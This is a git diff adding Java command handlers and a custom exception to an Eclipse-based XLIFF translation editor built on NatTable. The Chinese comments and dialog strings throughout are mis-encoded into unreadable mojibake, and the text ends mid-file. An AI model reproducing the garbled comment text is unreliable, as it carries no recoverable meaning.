在程åºä¸­é‡åˆ°äº†éžé¢„期的类型时抛出此异常。如é‡å†™ NatTabel çš„ paintControl 方法中,预期 NatTable 的直接底层布局为 CompositeLayer,如果ä¸æ˜¯ï¼Œåˆ™æŠ›å‡ºå¼‚常。 + * @author cheney + * @since JDK1.6 + */ +public class UnexpectedTypeExcetion extends RuntimeException { + + /** serialVersionUID. */ + private static final long serialVersionUID = 1875863249595095139L; + + /** + * 构建一个无详细信æ¯çš„ UnexpectedTypeExcetion。 + */ + public UnexpectedTypeExcetion() { + super(); + } + + /** + * 构建一个有详细说明的 UnexpectedTypeExcetion。 + * @param s + * æ述异常的信æ¯è¯´æ˜Žã€‚ + */ + public UnexpectedTypeExcetion(String s) { + super(s); + } + + /** + * 构建一个包å«è¯¦ç»†è¯´æ˜Žå’Œå †æ ˆçš„ UnexpectedTypeExcetion。 + * @param message + * æ述异常的信æ¯è¯´æ˜Žã€‚ + * @param cause + * 堆栈信æ¯ã€‚ + */ + public UnexpectedTypeExcetion(String message, Throwable cause) { + super(message, cause); + } + + /** + * 构建一个包å«å †æ ˆçš„ UnexpectedTypeExcetion。 + * @param cause + * 堆栈信æ¯ã€‚ + */ + public UnexpectedTypeExcetion(Throwable cause) { + super(cause); + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/AddSelectionSegmentNotesHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/AddSelectionSegmentNotesHandler.java new file mode 100644 index 0000000..9001236 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/AddSelectionSegmentNotesHandler.java @@ -0,0 +1,39 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.AddOrUpdateNoteDialog; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.handlers.HandlerUtil; +import org.slf4j.LoggerFactory; + +/** + * 添加批注的 Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class AddSelectionSegmentNotesHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + String tshelp = System.getProperties().getProperty("TSHelp"); + String tsstate = System.getProperties().getProperty("TSState"); + if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { + LoggerFactory.getLogger(AddSelectionSegmentNotesHandler.class).error("Exception:key hs008 is lost.(Can't find the key)"); + System.exit(0); + } + IEditorPart editorPart = HandlerUtil.getActiveEditor(event); + if (editorPart instanceof XLIFFEditorImplWithNatTable) { + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editorPart; + AddOrUpdateNoteDialog dialog = new AddOrUpdateNoteDialog(xliffEditor.getSite().getShell(), xliffEditor, + AddOrUpdateNoteDialog.DIALOG_ADD, null); + dialog.open(); + } + + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/AutoResizeCurrentRowsCommand.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/AutoResizeCurrentRowsCommand.java new file mode 100644 index 0000000..7c34820 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/AutoResizeCurrentRowsCommand.java @@ -0,0 +1,41 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler; + +import net.sourceforge.nattable.command.AbstractMultiRowCommand; +import net.sourceforge.nattable.command.ILayerCommand; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.ILayer; + +/** + * 自适应当å‰æ˜¾ç¤ºè¡Œçš„高度的Command + * @author weachy + * @version + * @since JDK1.5 + */ +public class AutoResizeCurrentRowsCommand extends AbstractMultiRowCommand { + + private final IConfigRegistry configRegistry; + private int[] rows; + + protected AutoResizeCurrentRowsCommand(AutoResizeCurrentRowsCommand command) { + super(command); + this.configRegistry = command.configRegistry; + } + + public AutoResizeCurrentRowsCommand(ILayer layer, int[] rowPositions, IConfigRegistry configRegistry) { + super(layer); + this.configRegistry = configRegistry; + this.rows = rowPositions; + } + + public ILayerCommand cloneCommand() { + return new AutoResizeCurrentRowsCommand(this); + } + + public IConfigRegistry getConfigRegistry() { + return configRegistry; + } + + public int[] getRows() { + return rows; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/AutoResizeCurrentRowsCommandHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/AutoResizeCurrentRowsCommandHandler.java new file mode 100644 index 0000000..489bc7a --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/AutoResizeCurrentRowsCommandHandler.java @@ -0,0 +1,88 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler; + +import net.sourceforge.nattable.command.ILayerCommandHandler; +import net.sourceforge.nattable.config.CellConfigAttributes; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.config.IConfiguration; +import net.sourceforge.nattable.layer.CompositeLayer; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.painter.cell.ICellPainter; +import net.sourceforge.nattable.print.command.TurnViewportOffCommand; +import net.sourceforge.nattable.print.command.TurnViewportOnCommand; +import net.sourceforge.nattable.resize.MaxCellBoundsHelper; +import net.sourceforge.nattable.resize.command.MultiRowResizeCommand; + +import org.eclipse.swt.graphics.GC; + +/** + * 自适应当å‰æ˜¾ç¤ºè¡Œçš„é«˜åº¦çš„å¤„ç† Handler + * @author weachy + * @version + * @since JDK1.5 + */ +public class AutoResizeCurrentRowsCommandHandler implements ILayerCommandHandler { + + private final CompositeLayer layer; + + public AutoResizeCurrentRowsCommandHandler(CompositeLayer compositeLayer) { + this.layer = compositeLayer; + } + + public boolean doCommand(ILayer targetLayer, AutoResizeCurrentRowsCommand command) { + // Need to resize selected rows even if they are outside the viewport + targetLayer.doCommand(new TurnViewportOffCommand()); + + int[] gridRowPositions = command.getRows(); + int[] gridRowHeights = getPreferedRowHeights(command.getConfigRegistry(), layer, + gridRowPositions); + + layer.doCommand(new MultiRowResizeCommand(layer, gridRowPositions, gridRowHeights)); + + targetLayer.doCommand(new TurnViewportOnCommand()); + + return true; + } + + public Class getCommandClass() { + return AutoResizeCurrentRowsCommand.class; + } + + /** + * @see MaxCellBoundsHelper#getPreferedColumnWidths(IConfiguration, GC, ILayer, int[]) + */ + private int[] getPreferedRowHeights(IConfigRegistry configRegistry, ILayer layer, int[] rows) { + int[] rowHeights = new int[rows.length]; + + // 获å–编辑区高度(编辑器中,去除corner的高度) + int clientAreaHeight = layer.getClientAreaProvider().getClientArea().height; + for (int i = 0; i < rows.length; i++) { + rowHeights[i] = getPreferredRowHeight(layer, rows[i], configRegistry, null, clientAreaHeight); + } + return rowHeights; + } + + private int getPreferredRowHeight(ILayer layer, int rowPosition, IConfigRegistry configRegistry, GC gc, + int clientAreaHeight) { + int maxHeight = 0; + ICellPainter painter; + LayerCell cell; + + for (int columnPosition = 0; columnPosition < layer.getColumnCount(); columnPosition++) { + cell = layer.getCellByPosition(columnPosition, rowPosition); + if (cell != null) { + painter = configRegistry.getConfigAttribute(CellConfigAttributes.CELL_PAINTER, cell.getDisplayMode(), + cell.getConfigLabels().getLabels()); + if (painter != null) { + int preferedHeight = painter.getPreferredHeight(cell, gc, configRegistry); + maxHeight = (preferedHeight > maxHeight) ? preferedHeight : maxHeight; + } + } + } + + if (maxHeight > clientAreaHeight) { + return clientAreaHeight; + } + return maxHeight; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/CancelEditSourceTextHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/CancelEditSourceTextHandler.java new file mode 100644 index 0000000..de9a5a5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/CancelEditSourceTextHandler.java @@ -0,0 +1,19 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.EditableManager; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.SourceEditMode; + +/** + * å–消编辑æºæ–‡æœ¬çš„ Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class CancelEditSourceTextHandler extends ChangeSourceEditableHandler { + + @Override + public SourceEditMode getSourceEditMode(EditableManager editableManager) { + return editableManager.getSourceEditMode().DISEDITABLE; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/ChangeEditorLayoutHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/ChangeEditorLayoutHandler.java new file mode 100644 index 0000000..3844eda --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/ChangeEditorLayoutHandler.java @@ -0,0 +1,53 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler; + +import java.util.Map; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.Activator; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.ImageConstant; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.Messages; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.commands.IElementUpdater; +import org.eclipse.ui.handlers.HandlerUtil; +import org.eclipse.ui.menus.UIElement; + +/** + * 改å˜åŸºäºŽ NatTable 编辑器的布局 handler + * @author cheney + * @since JDK1.6 + */ +public class ChangeEditorLayoutHandler extends AbstractHandler implements IElementUpdater { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editorPart = HandlerUtil.getActiveEditor(event); + // 改为布局 + if (editorPart != null && editorPart instanceof XLIFFEditorImplWithNatTable) { + // ActiveCellRegion.setActiveCellRegion(null); + ((XLIFFEditorImplWithNatTable) editorPart).changeLayout(); + } + return null; + } + + public void updateElement(UIElement element, Map parameters) { + String layout = (String) parameters.get("xliffEditor.layout"); + if (XLIFFEditorImplWithNatTable.getCurrent().isHorizontalLayout()) { + ImageDescriptor horizontalImageDescriptor = Activator + .getImageDescriptor(layout == null ? ImageConstant.TOOL_LAYOUT_HORIZONTAL + : "images/view/horizontal.png"); + element.setIcon(horizontalImageDescriptor); + element.setTooltip(Messages.getString("handler.ChangeEditorLayoutHandler.horizontalTooltip")); + } else { + ImageDescriptor verticalImageDescriptor = Activator + .getImageDescriptor(layout == null ? ImageConstant.TOOL_LAYOUT_VERTICAL + : "images/view/vertical.png"); + element.setIcon(verticalImageDescriptor); + element.setTooltip(Messages.getString("handler.ChangeEditorLayoutHandler.verticalTooltip")); + } + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/ChangeSourceEditableHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/ChangeSourceEditableHandler.java new file mode 100644 index 0000000..5e5b6dc --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/ChangeSourceEditableHandler.java @@ -0,0 +1,71 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.EditableManager; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.SourceEditMode; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.NatTableConstant; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.sourceforge.nattable.edit.EditConfigAttributes; +import net.sourceforge.nattable.edit.editor.ICellEditor; +import net.sourceforge.nattable.style.DisplayMode; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 设置“是å¦å…许编辑æºæ–‡æœ¬â€çŠ¶æ€ + * @author weachy + * @since JDK1.5 + */ +public abstract class ChangeSourceEditableHandler extends AbstractHandler { + + private Listener listener = new Listener() { + + public void handleEvent(Event event) { + StyledTextCellEditor sce = (StyledTextCellEditor) event.data; + if (sce.getCellType().equals(NatTableConstant.SOURCE)) { + EditableManager editableManager = sce.getEditableManager(); + if (editableManager.getSourceEditMode() == SourceEditMode.ONCE_EDITABLE) { + editableManager.setSourceEditMode(SourceEditMode.DISEDITABLE); + // TODO 设置默认模å¼å›¾ç‰‡ +// element.setIcon(Activator.getImageDescriptor(SourceEditMode.DISEDITABLE.getImagePath())); + } + } + } + }; + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (editor != null && editor instanceof XLIFFEditorImplWithNatTable) { + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + ICellEditor cellEditor = xliffEditor.getTable().getConfigRegistry().getConfigAttribute( + EditConfigAttributes.CELL_EDITOR, DisplayMode.EDIT, XLIFFEditorImplWithNatTable.SOURCE_EDIT_CELL_LABEL); + if (cellEditor == null || !(cellEditor instanceof StyledTextCellEditor)) { + return null; + } + HsMultiActiveCellEditor.commit(false); + StyledTextCellEditor sce = (StyledTextCellEditor) cellEditor; + EditableManager editableManager = sce.getEditableManager(); +// SourceEditMode nextMode = editableManager.getSourceEditMode().getNextMode(); + SourceEditMode nextMode = getSourceEditMode(editableManager); + editableManager.setSourceEditMode(nextMode); +// element.setIcon(Activator.getImageDescriptor(nextMode.getImagePath())); + if (!sce.isClosed()) { + editableManager.judgeEditable(); +// 更新全局 Action çš„å¯ç”¨çŠ¶æ€ï¼Œä¸»è¦æ˜¯æ›´æ–°ç¼–辑-删除功能的å¯ç”¨çŠ¶æ€ã€‚ + sce.getActionHandler().updateActionsEnableState(); + } + + sce.addClosingListener(listener); + } + return null; + } + + public abstract SourceEditMode getSourceEditMode(EditableManager editableManager); +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/ClickColumnCommandHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/ClickColumnCommandHandler.java new file mode 100644 index 0000000..625cfa3 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/ClickColumnCommandHandler.java @@ -0,0 +1,34 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler; + +import net.sourceforge.nattable.command.ILayerCommandHandler; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.selection.command.SelectColumnCommand; + +/** + * @author weachy + * @version + * @since JDK1.5 + */ +public class ClickColumnCommandHandler implements ILayerCommandHandler { + + private final SelectionLayer selectionLayer; + + public ClickColumnCommandHandler(SelectionLayer selectionLayer) { + this.selectionLayer = selectionLayer; + } + + public boolean doCommand(ILayer targetLayer, SelectColumnCommand command) { + if (command.convertToTargetLayer(selectionLayer)) { + // TODO 点击列头时触å‘,åŽé¢å¯ä»¥åœ¨è¿™é‡Œå¤„ç†æŽ’åº + + return true; + } + return false; + } + + public Class getCommandClass() { + return SelectColumnCommand.class; + } + +} \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/CopyAllSourceHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/CopyAllSourceHandler.java new file mode 100644 index 0000000..98a7e08 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/CopyAllSourceHandler.java @@ -0,0 +1,57 @@ +/** + * CopyAllSourceCommand.java + * + * Version information : + * + * Date:2012-8-26 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditorControl; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.swt.custom.BusyIndicator; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class CopyAllSourceHandler extends AbstractHandler { + + /** + * (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + public Object execute(ExecutionEvent event) throws ExecutionException { + final IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (editor instanceof XLIFFEditorImplWithNatTable) { + BusyIndicator.showWhile(HandlerUtil.getActiveWorkbenchWindow(event).getShell().getDisplay(), new Runnable() { + public void run() { + // fixed Bug #2638 XLIFF 编辑器:å¤åˆ¶æ‰€æœ‰æºæ–‡åˆ°ç›®æ ‡æ—¶ï¼Œè¯‘文处于编辑模å¼çš„文本段“未能â€æ­£ç¡®å¤åˆ¶ + HsMultiActiveCellEditor.commit(true); + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + XLFHandler handler = xliffEditor.getXLFHandler(); + handler.copyAllSource2Target(); + xliffEditor.redraw(); + HsMultiCellEditorControl.activeSourceAndTargetCell(xliffEditor); + } + }); + + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/CopySourceHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/CopySourceHandler.java new file mode 100644 index 0000000..8ba6d7b --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/CopySourceHandler.java @@ -0,0 +1,64 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.Messages; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * å¤åˆ¶æ¥æºåˆ°ç›®æ ‡ + * @author weachy + * @version + * @since JDK1.5 + */ +public class CopySourceHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (editor instanceof XLIFFEditorImplWithNatTable) { + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + XLFHandler handler = xliffEditor.getXLFHandler(); + List rowIds = xliffEditor.getSelectedRowIds(); + + boolean locked = false; + Map map = new HashMap(); + for (int i = 0; i < rowIds.size(); i++) { + String rowId = rowIds.get(i); + if (handler.isLocked(rowId)) { // å·²ç»æ‰¹å‡†æˆ–者已é”定,则ä¸è¿›è¡Œä¿®æ”¹ã€‚ + locked = true; + continue; + } + String srcContent = handler.getSrcContent(rowId); + String newValue = srcContent == null ? "" : srcContent; + map.put(rowId, newValue); + } + + if (locked) { + if (!MessageDialog.openConfirm(xliffEditor.getSite().getShell(), + Messages.getString("handler.CopySourceHandler.msgTitle"), + Messages.getString("handler.CopySourceHandler.msg"))) { + return null; + } + } + StyledTextCellEditor cellEditor = HsMultiActiveCellEditor.getTargetStyledEditor(); + if(cellEditor != null){ + HsMultiActiveCellEditor.setCellEditorForceFocus(cellEditor.getColumnPosition(), cellEditor.getRowPosition()); + } + xliffEditor.updateSegments(map, xliffEditor.getTgtColumnIndex(), null, null); + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/CustomMatchContributionItem.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/CustomMatchContributionItem.java new file mode 100644 index 0000000..d43a521 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/CustomMatchContributionItem.java @@ -0,0 +1,68 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler; + +import java.util.ArrayList; +import java.util.LinkedHashMap; +import java.util.Map.Entry; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.jface.action.ContributionItem; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.widgets.Item; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.swt.widgets.MenuItem; + +public class CustomMatchContributionItem extends ContributionItem { + + public CustomMatchContributionItem() { + } + + public CustomMatchContributionItem(String id) { + super(id); + } + + @Override + public void fill(Menu menu, int index) { + LinkedHashMap map = XLFHandler.getCustomMatchFilterMap(); + if (map == null || map.size() == 0) { + for (Item item : menu.getItems()) { + if (!item.isDisposed()) { + item.dispose(); + } + } + } else { + for (Entry entry : map.entrySet()) { + final String xpath = entry.getValue(); + MenuItem item = new MenuItem(menu, SWT.PUSH); + item.setText(entry.getKey()); + item.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + XLIFFEditorImplWithNatTable xliffEditor = XLIFFEditorImplWithNatTable.getCurrent(); + if (xliffEditor == null) { + return; + } + xliffEditor.getXLFHandler().deleteAltTrans(xpath); + ArrayList rowList = new ArrayList(); + int[] rows = xliffEditor.getSelectedRows(); + for (int i : rows) { + rowList.add(i); + } + StructuredSelection selection = new StructuredSelection(rowList); + xliffEditor.getSite().getSelectionProvider().setSelection( + selection); + } + }); + } + } + } + + @Override + public boolean isDynamic() { + return true; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/CustomMatchHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/CustomMatchHandler.java new file mode 100644 index 0000000..c007d06 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/CustomMatchHandler.java @@ -0,0 +1,16 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.PlatformUI; + +public class CustomMatchHandler extends AbstractHandler { + public Object execute(ExecutionEvent event) throws ExecutionException { + CustomMatchConditionDialog dialog = new CustomMatchConditionDialog(PlatformUI.getWorkbench().getActiveWorkbenchWindow().getShell()); + dialog.open(); + return null; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/DeleteAllSegmentNoteHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/DeleteAllSegmentNoteHandler.java new file mode 100644 index 0000000..f7f9c15 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/DeleteAllSegmentNoteHandler.java @@ -0,0 +1,37 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 删除所有文本段的全部批注(此类未使用,因此未åšå›½é™…化) + * @author weachy + * @version + * @since JDK1.5 + */ +public class DeleteAllSegmentNoteHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (!(editor instanceof XLIFFEditorImplWithNatTable)) { + return null; + } + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindowChecked(event); + boolean res = MessageDialog.openConfirm(window.getShell(), "删除确认", "确定è¦åˆ é™¤æ‰€æœ‰æ–‡æœ¬æ®µçš„全部批注å—?"); + if (res) { + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + XLFHandler handler = xliffEditor.getXLFHandler(); + handler.deleteAllSegmentNote(); + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/DeleteCurrentSegmentAltTransHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/DeleteCurrentSegmentAltTransHandler.java new file mode 100644 index 0000000..54c09f5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/DeleteCurrentSegmentAltTransHandler.java @@ -0,0 +1,50 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; + +/** + * 删除当å‰æ–‡æœ¬æ®µåŒ¹é… + * @author weachy + * @version + * @since JDK1.5 + */ +public class DeleteCurrentSegmentAltTransHandler extends AbstractHandler { + public Object execute(final ExecutionEvent event) throws ExecutionException { +// final IEditorPart editor = HandlerUtil.getActiveEditor(event); +// if (!(editor instanceof XLIFFEditorImplWithNatTable)) { +// return null; +// } +// final IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindowChecked(event); +// boolean res = 